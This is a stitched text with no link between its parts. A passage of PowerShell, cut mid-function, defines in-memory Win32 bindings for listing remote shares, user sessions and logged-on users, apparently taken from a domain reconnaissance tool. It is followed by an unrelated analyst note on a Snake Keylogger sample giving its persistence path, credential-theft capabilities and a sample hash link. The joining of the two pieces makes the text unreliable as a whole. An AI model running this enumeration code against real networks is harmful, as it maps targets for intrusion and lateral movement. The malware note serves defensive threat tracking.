$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
$Domain = [AppDomain]::CurrentDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
return $ModuleBuilder
}
$Mod = New-InMemoryModule -ModuleName Win32
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func kernel32 GetLastError ([Int]) @())
)
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
shi1_netname = field 0 String -MarshalAs @('LPWStr')
shi1_type = field 1 UInt32
shi1_remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
wkui1_username = field 0 String -MarshalAs @('LPWStr')
wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
sesi10_cname = field 0 String -MarshalAs @('LPWStr')
sesi10_username = field 1 String -MarshalAs @('LPWStr')
sesi10_time = field 2 UInt32
sesi10_idle_time = field 3 UInt32
}
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Kernel32 = $Types['kernel32']
$Wtsapi32 = $Types['wtsapi32']
Snake Keylogger
---------------------------------------------------
date: 5/5/2021
delivery: Unknown
persistence: scheduled Task, \Updates\SPjSKjh, c:\users\<userid>\appdata\roaming\spjskih.exe
capabilities (per memory strings): Keylogger (KeyDown, KeyboardState, StartKeyLogger), Credential Theft (UCBrowser, Vivaldi, Thunderbird, etc.)
c2s: unknown
identification method: filname similar to previous (vbc.exe) and other patterns match like re-launch EXE after 1min45sec, smtp type c2 possible, etc.
special notes: .net executable, starts execution at about ~14 to 15mb initially, waits about 1 min 45 seconds, then relaunched itself, new pid, 2nd executable waits several minutes to do anything, then checks for credentials (chrome, qqbrowser, ultravnc, thunderbird, waterfox, etc.) through disk and registry, in memory strings on 2nd end up including the credential theft, also this appears to be "Agent Tesla" per all the other indicators I have, as well as API.Telegram.org connections and possible SMTP c2 with email address, so I think this is some kind of Agent Tesla/Snake Keylogger hybrid
samples:
EXE - https://www.virustotal.com/gui/file/089d065fe8e39f8b19a726cb15ac216e352a5576f446c5fc38486f1fbb7a1d9c/detection
links:
https://twitter.com/neonprimetime/status/1389964247942279168
screenshots:
---------------------------------------------------